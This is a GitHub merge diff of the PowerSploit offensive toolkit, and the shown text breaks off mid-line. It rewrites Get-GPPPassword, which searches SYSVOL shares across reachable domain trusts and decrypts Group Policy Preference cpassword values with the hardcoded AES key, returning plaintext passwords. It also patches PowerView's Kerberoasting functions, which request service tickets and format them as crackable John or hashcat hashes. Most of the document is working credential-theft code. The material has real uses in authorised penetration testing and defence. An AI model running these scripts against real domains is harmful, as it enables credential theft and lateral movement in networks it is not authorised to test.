diff options
author | Mike Brancato <mbrancato@users.noreply.github.com> | 2017-01-16 00:52:51 -0500 |
---|---|---|
committer | GitHub <noreply@github.com> | 2017-01-16 00:52:51 -0500 |
commit | bda533d6d785a6d300b4547aca2fac10e801b7f9 (patch) | |
tree | 2fc944d02267ed25623e205a7b94e8f36f231a3c | |
parent | d1060930c7af88730e983155077b56b3cc47a4dc (diff) | |
parent | 454e04005db7678163a1610080d1dff0782ac35d (diff) | |
download | PowerSploit-bda533d6d785a6d300b4547aca2fac10e801b7f9.tar.gz PowerSploit-bda533d6d785a6d300b4547aca2fac10e801b7f9.zip |
Merge pull request #1 from PowerShellMafia/dev
update local fork
-rw-r--r-- | Exfiltration/Get-GPPPassword.ps1 | 467 | ||||
-rwxr-xr-x | Recon/PowerView.ps1 | 230 |
2 files changed, 427 insertions, 270 deletions
diff --git a/Exfiltration/Get-GPPPassword.ps1 b/Exfiltration/Get-GPPPassword.ps1 index 0c03e0a..f7be74c 100644 --- a/Exfiltration/Get-GPPPassword.ps1 +++ b/Exfiltration/Get-GPPPassword.ps1 @@ -2,246 +2,347 @@ function Get-GPPPassword { <# .SYNOPSIS - Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. - - PowerSploit Function: Get-GPPPassword - Author: Chris Campbell (@obscuresec) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - +Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences. + +PowerSploit Function: Get-GPPPassword +Author: Chris Campbell (@obscuresec) +License: BSD 3-Clause +Required Dependencies: None +Optional Dependencies: None + .DESCRIPTION - Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. +Get-GPPPassword searches a domain controller for groups.xml, scheduledtasks.xml, services.xml and datasources.xml and returns plaintext passwords. .PARAMETER Server - - Specify the domain controller to search for. - Default's to the users current domain + +Specify the domain controller to search for. +Default's to the users current domain + +.PARAMETER SearchForest + +Map all reaschable trusts and search all reachable SYSVOLs. .EXAMPLE - PS C:\> Get-GPPPassword - - NewName : [BLANK] - Changed : {2014-02-21 05:28:53} - Passwords : {password12} - UserNames : {test1} - File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml - - NewName : {mspresenters} - Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} - Passwords : {Recycling*3ftw!, password123, password1234} - UserNames : {Administrator (built-in), DummyAccount, dummy2} - File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml - - NewName : [BLANK] - Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52} - Passwords : {password, password1234$} - UserNames : {administrator, admin} - File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml - - NewName : [BLANK] - Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36} - Passwords : {password, read123} - UserNames : {DEMO\Administrator, admin} - File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml +Get-GPPPassword + +NewName : [BLANK] +Changed : {2014-02-21 05:28:53} +Passwords : {password12} +UserNames : {test1} +File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\DataSources\DataSources.xml + +NewName : {mspresenters} +Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} +Passwords : {Recycling*3ftw!, password123, password1234} +UserNames : {Administrator (built-in), DummyAccount, dummy2} +File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml + +NewName : [BLANK] +Changed : {2014-02-21 05:29:53, 2014-02-21 05:29:52} +Passwords : {password, password1234$} +UserNames : {administrator, admin} +File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\ScheduledTasks\ScheduledTasks.xml + +NewName : [BLANK] +Changed : {2014-02-21 05:30:14, 2014-02-21 05:30:36} +Passwords : {password, read123} +UserNames : {DEMO\Administrator, admin} +File : \\DEMO.LAB\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Services\Services.xml .EXAMPLE - PS C:\> Get-GPPPassword -Server EXAMPLE.COM - NewName : [BLANK] - Changed : {2014-02-21 05:28:53} - Passwords : {password12} - UserNames : {test1} - File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml +Get-GPPPassword -Server EXAMPLE.COM - NewName : {mspresenters} - Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} - Passwords : {Recycling*3ftw!, password123, password1234} - UserNames : {Administrator (built-in), DummyAccount, dummy2} - File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml +NewName : [BLANK] +Changed : {2014-02-21 05:28:53} +Passwords : {password12} +UserNames : {test1} +File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB982DA}\MACHINE\Preferences\DataSources\DataSources.xml + +NewName : {mspresenters} +Changed : {2013-07-02 05:43:21, 2014-02-21 03:33:07, 2014-02-21 03:33:48} +Passwords : {Recycling*3ftw!, password123, password1234} +UserNames : {Administrator (built-in), DummyAccount, dummy2} +File : \\EXAMPLE.COM\SYSVOL\demo.lab\Policies\{31B2F340-016D-11D2-945F-00C04FB9AB12}\MACHINE\Preferences\Groups\Groups.xml .EXAMPLE - PS C:\> Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq - - password - password12 - password123 - password1234 - password1234$ - read123 - Recycling*3ftw! +Get-GPPPassword | ForEach-Object {$_.passwords} | Sort-Object -Uniq + +password +password12 +password123 +password1234 +password1234$ +read123 +Recycling*3ftw! .LINK - - http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html - https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 - http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences - http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html + +http://www.obscuresecurity.blogspot.com/2012/05/gpp-password-retrieval-with-powershell.html +https://github.com/mattifestation/PowerSploit/blob/master/Recon/Get-GPPPassword.ps1 +http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences +http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html #> - + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingPlainTextForPassword', '')] [CmdletBinding()] Param ( - [ValidateNotNullOrEmpty()] - [String] - $Server = $Env:USERDNSDOMAIN + [ValidateNotNullOrEmpty()] + [String] + $Server = $Env:USERDNSDOMAIN, + + [Switch] + $SearchForest ) - - #Some XML issues between versions - Set-StrictMode -Version 2 - - #define helper function that decodes and decrypts password + + # define helper function that decodes and decrypts password function Get-DecryptedCpassword { [CmdletBinding()] Param ( - [string] $Cpassword + [string] $Cpassword ) try { - #Append appropriate padding based on string length + #Append appropriate padding based on string length $Mod = ($Cpassword.length % 4) - + switch ($Mod) { - '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} - '2' {$Cpassword += ('=' * (4 - $Mod))} - '3' {$Cpassword += ('=' * (4 - $Mod))} + '1' {$Cpassword = $Cpassword.Substring(0,$Cpassword.Length -1)} + '2' {$Cpassword += ('=' * (4 - $Mod))} + '3' {$Cpassword += ('=' * (4 - $Mod))} } $Base64Decoded = [Convert]::FromBase64String($Cpassword) - + #Create a new AES .NET Crypto Object $AesObject = New-Object System.Security.Cryptography.AesCryptoServiceProvider [Byte[]] $AesKey = @(0x4e,0x99,0x06,0xe8,0xfc,0xb6,0x6c,0xc9,0xfa,0xf4,0x93,0x10,0x62,0x0f,0xfe,0xe8, 0xf4,0x96,0xe8,0x06,0xcc,0x05,0x79,0x90,0x20,0x9b,0x09,0xa4,0x33,0xb6,0x6c,0x1b) - + #Set IV to all nulls to prevent dynamic generation of IV value - $AesIV = New-Object Byte[]($AesObject.IV.Length) + $AesIV = New-Object Byte[]($AesObject.IV.Length) $AesObject.IV = $AesIV $AesObject.Key = $AesKey - $DecryptorObject = $AesObject.CreateDecryptor() + $DecryptorObject = $AesObject.CreateDecryptor() [Byte[]] $OutBlock = $DecryptorObject.TransformFinalBlock($Base64Decoded, 0, $Base64Decoded.length) - + return [System.Text.UnicodeEncoding]::Unicode.GetString($OutBlock) - } - - catch {Write-Error $Error[0]} - } - - #define helper function to parse fields from xml files - function Get-GPPInnerFields { + } + + catch { Write-Error $Error[0] } + } + + # helper function to parse fields from xml files + function Get-GPPInnerField { [CmdletBinding()] Param ( $File ) - + try { - $Filename = Split-Path $File -Leaf [xml] $Xml = Get-Content ($File) - #declare empty arrays - $Cpassword = @() - $UserName = @() - $NewName = @() - $Changed = @() - $Password = @() - - #check for password field - if ($Xml.innerxml -like "*cpassword*"){ - - Write-Verbose "Potential password in $File" - - switch ($Filename) { - - 'Groups.xml' { - $Cpassword += , $Xml | Select-Xml "/Groups/User/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/Groups/User/Properties/@userName" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $NewName += , $Xml | Select-Xml "/Groups/User/Properties/@newName" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/Groups/User/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} - } - - 'Services.xml' { - $Cpassword += , $Xml | Select-Xml "/NTServices/NTService/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/NTServices/NTService/Properties/@accountName" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/NTServices/NTService/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} - } - - 'Scheduledtasks.xml' { - $Cpassword += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/ScheduledTasks/Task/Properties/@runAs" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/ScheduledTasks/Task/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} - } - - 'DataSources.xml' { - $Cpassword += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/DataSources/DataSource/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/DataSources/DataSource/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + # check for the cpassword field + if ($Xml.innerxml -match 'cpassword') { + + $Xml.GetElementsByTagName('Properties') | ForEach-Object { + if ($_.cpassword) { + $Cpassword = $_.cpassword + if ($Cpassword -and ($Cpassword -ne '')) { + $DecryptedPassword = Get-DecryptedCpassword $Cpassword + $Password = $DecryptedPassword + Write-Verbose "[Get-GPPInnerField] Decrypted password in '$File'" + } + + if ($_.newName) { + $NewName = $_.newName + } + + if ($_.userName) { + $UserName = $_.userName + } + elseif ($_.accountName) { + $UserName = $_.accountName + } + elseif ($_.runAs) { + $UserName = $_.runAs + } + + try { + $Changed = $_.ParentNode.changed + } + catch { + Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.changed for '$File'" + } + + try { + $NodeName = $_.ParentNode.ParentNode.LocalName + } + catch { + Write-Verbose "[Get-GPPInnerField] Unable to retrieve ParentNode.ParentNode.LocalName for '$File'" + } + + if (!($Password)) {$Password = '[BLANK]'} + if (!($UserName)) {$UserName = '[BLANK]'} + if (!($Changed)) {$Changed = '[BLANK]'} + if (!($NewName)) {$NewName = '[BLANK]'} + + $GPPPassword = New-Object PSObject + $GPPPassword | Add-Member Noteproperty 'UserName' $UserName + $GPPPassword | Add-Member Noteproperty 'NewName' $NewName + $GPPPassword | Add-Member Noteproperty 'Password' $Password + $GPPPassword | Add-Member Noteproperty 'Changed' $Changed + $GPPPassword | Add-Member Noteproperty 'File' $File + $GPPPassword | Add-Member Noteproperty 'NodeName' $NodeName + $GPPPassword | Add-Member Noteproperty 'Cpassword' $Cpassword + $GPPPassword } - - 'Printers.xml' { - $Cpassword += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/Printers/SharedPrinter/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/Printers/SharedPrinter/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + } + } + } + catch { + Write-Warning "[Get-GPPInnerField] Error parsing file '$File' : $_" + } + } + + # helper function (adapted from PowerView) to enumerate the domain/forest trusts for a specified domain + function Get-DomainTrust { + [CmdletBinding()] + Param ( + $Domain + ) + + if (Test-Connection -Count 1 -Quiet -ComputerName $Domain) { + try { + $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) + $DomainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) + if ($DomainObject) { + $DomainObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName + } + } + catch { + Write-Verbose "[Get-DomainTrust] Error contacting domain '$Domain' : $_" + } + + try { + $ForestContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Forest', $Domain) + $ForestObject = [System.DirectoryServices.ActiveDirectory.Forest]::GetForest($ForestContext) + if ($ForestObject) { + $ForestObject.GetAllTrustRelationships() | Select-Object -ExpandProperty TargetName + } + } + catch { + Write-Verbose "[Get-DomainTrust] Error contacting forest '$Domain' (domain may not be a forest object) : $_" + } + } + } + + # helper function (adapted from PowerView) to enumerate all reachable trusts from the current domain + function Get-DomainTrustMapping { + [CmdletBinding()] + Param () + + # keep track of domains seen so we don't hit infinite recursion + $SeenDomains = @{} + + # our domain stack tracker + $Domains = New-Object System.Collections.Stack + + try { + $CurrentDomain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name + $CurrentDomain + } + catch { + Write-Warning "[Get-DomainTrustMapping] Error enumerating current domain: $_" + } + + if ($CurrentDomain -and $CurrentDomain -ne '') { + $Domains.Push($CurrentDomain) + + while($Domains.Count -ne 0) { + + $Domain = $Domains.Pop() + + # if we haven't seen this domain before + if ($Domain -and ($Domain.Trim() -ne '') -and (-not $SeenDomains.ContainsKey($Domain))) { + + Write-Verbose "[Get-DomainTrustMapping] Enumerating trusts for domain: '$Domain'" + + # mark it as seen in our list + $Null = $SeenDomains.Add($Domain, '') + + try { + # get all the domain/forest trusts for this domain + Get-DomainTrust -Domain $Domain | Sort-Object -Unique | ForEach-Object { + # only output if we haven't already seen this domain and if it's pingable + if (-not $SeenDomains.ContainsKey($_) -and (Test-Connection -Count 1 -Quiet -ComputerName $_)) { + $Null = $Domains.Push($_) + $_ + } + } } - - 'Drives.xml' { - $Cpassword += , $Xml | Select-Xml "/Drives/Drive/Properties/@cpassword" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $UserName += , $Xml | Select-Xml "/Drives/Drive/Properties/@username" | Select-Object -Expand Node | ForEach-Object {$_.Value} - $Changed += , $Xml | Select-Xml "/Drives/Drive/@changed" | Select-Object -Expand Node | ForEach-Object {$_.Value} + catch { + Write-Verbose "[Get-DomainTrustMapping] Error: $_" } } - } - - foreach ($Pass in $Cpassword) { - Write-Verbose "Decrypting $Pass" - $DecryptedPassword = Get-DecryptedCpassword $Pass - Write-Verbose "Decrypted a password of $DecryptedPassword" - #append any new passwords to array - $Password += , $DecryptedPassword - } - - #put [BLANK] in variables - if (!($Password)) {$Password = '[BLANK]'} - if (!($UserName)) {$UserName = '[BLANK]'} - if (!($Changed)) {$Changed = '[BLANK]'} - if (!($NewName)) {$NewName = '[BLANK]'} - - #Create custom object to output results - $ObjectProperties = @{'Passwords' = $Password; - 'UserNames' = $UserName; - 'Changed' = $Changed; - 'NewName' = $NewName; - 'File' = $File} - - $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties - Write-Verbose "The password is between {} and may be more than one value." - if ($ResultsObject) {Return $ResultsObject} + } } - - catch {Write-Error $Error[0]} } - + try { - #ensure that machine is domain joined and script is running as a domain account - if ( ( ((Get-WmiObject Win32_ComputerSystem).partofdomain) -eq $False ) -or ( -not $Env:USERDNSDOMAIN ) ) { - throw 'Machine is not a domain member or User is not a member of the domain.' + $XMLFiles = @() + $Domains = @() + + $AllUsers = $Env:ALLUSERSPROFILE + if (-not $AllUsers) { + $AllUsers = 'C:\ProgramData' + } + + # discover any locally cached GPP .xml files + Write-Verbose '[Get-GPPPassword] Searching local host for any cached GPP files' + $XMLFiles += Get-ChildItem -Path $AllUsers -Recurse -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' -Force -ErrorAction SilentlyContinue + + if ($SearchForest) { + Write-Verbose '[Get-GPPPassword] Searching for all reachable trusts' + $Domains += Get-DomainTrustMapping } + else { + if ($Server) { + $Domains += , $Server + } + else { + # in case we're in a SYSTEM context + $Domains += , [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() | Select-Object -ExpandProperty Name + } + } + + $Domains = $Domains | Where-Object {$_} | Sort-Object -Unique + + ForEach ($Domain in $Domains) { + # discover potential domain GPP files containing passwords, not complaining in case of denied access to a directory + Write-Verbose "[Get-GPPPassword] Searching \\$Domain\SYSVOL\*\Policies. This could take a while." + $DomainXMLFiles = Get-ChildItem -Force -Path "\\$Domain\SYSVOL\*\Policies" -Recurse -ErrorAction SilentlyContinue -Include @('Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml') + + if($DomainXMLFiles) { + $XMLFiles += $DomainXMLFiles + } + } + + if ( -not $XMLFiles ) { throw '[Get-GPPPassword] No preference files found.' } + + Write-Verbose "[Get-GPPPassword] Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." - #discover potential files containing passwords ; not complaining in case of denied access to a directory - Write-Verbose "Searching \\$Server\SYSVOL. This could take a while." - $XMlFiles = Get-ChildItem -Path "\\$Server\SYSVOL" -Recurse -ErrorAction SilentlyContinue -Include 'Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml' - - if ( -not $XMlFiles ) {throw 'No preference files found.'} - - Write-Verbose "Found $($XMLFiles | Measure-Object | Select-Object -ExpandProperty Count) files that could contain passwords." - - foreach ($File in $XMLFiles) { - $Result = (Get-GppInnerFields $File.Fullname) - Write-Output $Result + ForEach ($File in $XMLFiles) { + $Result = (Get-GppInnerField $File.Fullname) + $Result } } - catch {Write-Error $Error[0]} -} + catch { Write-Error $Error[0] } +}
\ No newline at end of file diff --git a/Recon/PowerView.ps1 b/Recon/PowerView.ps1 index 5598dbe..ef9048a 100755 --- a/Recon/PowerView.ps1 +++ b/Recon/PowerView.ps1 @@ -1563,18 +1563,18 @@ https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67 ) } catch { - Write-Verbose "[Convert-ADName] Error initialiting translation for '$Identity' using alternate credentials : $_" + Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' using alternate credentials : $_" } } else { try { - Invoke-Method $Translate 'Init' ( + $Null = Invoke-Method $Translate 'Init' ( $ADSInitType, $InitName ) } catch { - Write-Verbose "[Convert-ADName] Error initialiting translation for '$Identity' : $_" + Write-Verbose "[Convert-ADName] Error initializing translation for '$Identity' : $_" } } @@ -1583,7 +1583,7 @@ https://gallery.technet.microsoft.com/scriptcenter/Translating-Active-5c80dd67 try { # 8 = Unknown name type -> let the server do the work for us - Invoke-Method $Translate 'Set' (8, $TargetIdentity) + $Null = Invoke-Method $Translate 'Set' (8, $TargetIdentity) Invoke-Method $Translate 'Get' ($ADSOutputType) } catch [System.Management.Automation.MethodInvocationException] { @@ -2296,8 +2296,8 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and } else { $UserSPN = $Object - $SamAccountName = $Null - $DistinguishedName = $Null + $SamAccountName = 'UNKNOWN' + $DistinguishedName = 'UNKNOWN' } # if a user has multiple SPNs we only take the first one otherwise the service ticket request fails miserably :) -@st3r30byt3 @@ -2305,7 +2305,12 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and $UserSPN = $UserSPN[0] } - $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + try { + $Ticket = New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $UserSPN + } + catch { + Write-Warning "[Get-DomainSPNTicket] Error requesting ticket for SPN '$UserSPN' from user '$DistinguishedName' : $_" + } if ($Ticket) { $TicketByteStream = $Ticket.GetRequest() } @@ -2322,16 +2327,22 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and $Out | Add-Member Noteproperty 'ServicePrincipalName' $Ticket.ServicePrincipalName if ($OutputFormat -match 'John') { - $HashFormat = "`$krb5tgs`$unknown:$Hash" + $HashFormat = "`$krb5tgs`$$($Ticket.ServicePrincipalName):$Hash" } else { + if ($DistinguishedName -ne 'UNKNOWN') { + $UserDomain = $DistinguishedName.SubString($DistinguishedName.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + } + else { + $UserDomain = 'UNKNOWN' + } + # hashcat output format - $HashFormat = '$krb5tgs$23$*ID#124_DISTINGUISHED NAME: CN=fakesvc,OU=Service,OU=Accounts,OU=EnterpriseObjects,DC=asdsa,DC=pf,DC=fakedomain,DC=com SPN: E0518235-4B06-11D1-AB04-00C04FDS3CD2-BADM/aksjdb.asdsa.pf.fakedomain.com:50000 *' + $Hash + $HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash" } $Out | Add-Member Noteproperty 'Hash' $HashFormat $Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket') Write-Output $Out - break } } } @@ -2413,15 +2424,22 @@ for connection to the target domain. Invoke-Kerberoast | fl +Kerberoasts all found SPNs for the current domain. + .EXAMPLE -Invoke-Kerberoast -Domain dev.testlab.local | fl +Invoke-Kerberoast -Domain dev.testlab.local -OutputFormat HashCat | fl + +Kerberoasts all found SPNs for the testlab.local domain, outputting to HashCat +format instead of John (the default). .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -orce $Cred = New-Object System.Management.Automation.PSCredential('TESTLB\dfm.a', $SecPassword) -Invoke-Kerberoast -Credential $Cred -Verbose | fl +Invoke-Kerberoast -Credential $Cred -Verbose -Domain testlab.local | fl + +Kerberoasts all found SPNs for the testlab.local domain using alternate credentials. .OUTPUTS @@ -3656,7 +3674,7 @@ http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49 [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { - Write-Verbose "[Get-Domain] The specified domain does '$TargetDomain' not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" + Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" } } elseif ($PSBoundParameters['Domain']) { @@ -4699,21 +4717,24 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $UserSearcher = Get-DomainSearcher @SearcherArguments } } - elseif ($IdentityInstance -match '^S-1-.*') { - # SID format - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^CN=.*') { - # distinguished names - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - } else { - try { - $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' - $IdentityFilter += "(objectguid=$GuidByteString)" + $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-.*') { + # SID format + $IdentityFilter += "(objectsid=$IdentityInstance)" } - catch { - $IdentityFilter += "(samAccountName=$IdentityInstance)" + elseif ($IdentityInstance -match '^CN=.*') { + # distinguished names + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + catch { + $IdentityFilter += "(samAccountName=$IdentityInstance)" + } } } } @@ -4742,7 +4763,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' $Filter += '(msds-allowedtodelegateto=*)' } - if ($PSBoundParameters['KerberosPreauthNotRequireduthNotRequired']) { + if ($PSBoundParameters['KerberosPreauthNotRequired']) { Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' } @@ -5728,7 +5749,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-.*') { $IdentityFilter += "(objectsid=$IdentityInstance)" } @@ -5771,7 +5792,7 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. } if ($PSBoundParameters['SPN']) { Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" - $Filter += '(servicePrincipalName=$SPN)' + $Filter += "(servicePrincipalName=$SPN)" } if ($PSBoundParameters['OperatingSystem']) { Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" @@ -6053,23 +6074,26 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $ObjectSearcher = Get-DomainSearcher @SearcherArguments } } - elseif ($IdentityInstance -match '^S-1-.*') { - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^(CN|OU)=.*') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - } else { - try { - $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' - $IdentityFilter += "(objectguid=$GuidByteString)" + $IdentityInstance = $IdentityInstance.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-.*') { + $IdentityFilter += "(objectsid=$IdentityInstance)" } - catch { - if ($IdentityInstance.Contains('.')) { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + } + else { + try { + $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1' + $IdentityFilter += "(objectguid=$GuidByteString)" } - else { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + catch { + if ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" + } + else { + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" + } } } } @@ -6752,11 +6776,11 @@ Custom PSObject with ACL entries. $IdentityFilter = '' $Filter = '' $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_ + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') if ($IdentityInstance -match '^S-1-.*') { $IdentityFilter += "(objectsid=$IdentityInstance)" } - elseif ($IdentityInstance -match '^(CN|OU)=.*') { + elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') { $IdentityFilter += "(distinguishedname=$IdentityInstance)" } else { @@ -6769,7 +6793,7 @@ Custom PSObject with ACL entries. $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))" } else { - $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance))" + $IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))" } } } @@ -7380,11 +7404,26 @@ Custom PSObject with ACL entries. if ($_.SecurityIdentifier.Value -match '^S-1-5-.*-[1-9]\d{3,}$') { if ($ResolvedSIDs[$_.SecurityIdentifier.Value]) { $IdentityReferenceName, $IdentityReferenceDomain, $IdentityReferenceDN, $IdentityReferenceClass = $ResolvedSIDs[$_.SecurityIdentifier.Value] - $_ | Add-Member NoteProperty 'IdentityReferenceName' $IdentityReferenceName - $_ | Add-Member NoteProperty 'IdentityReferenceDomain' 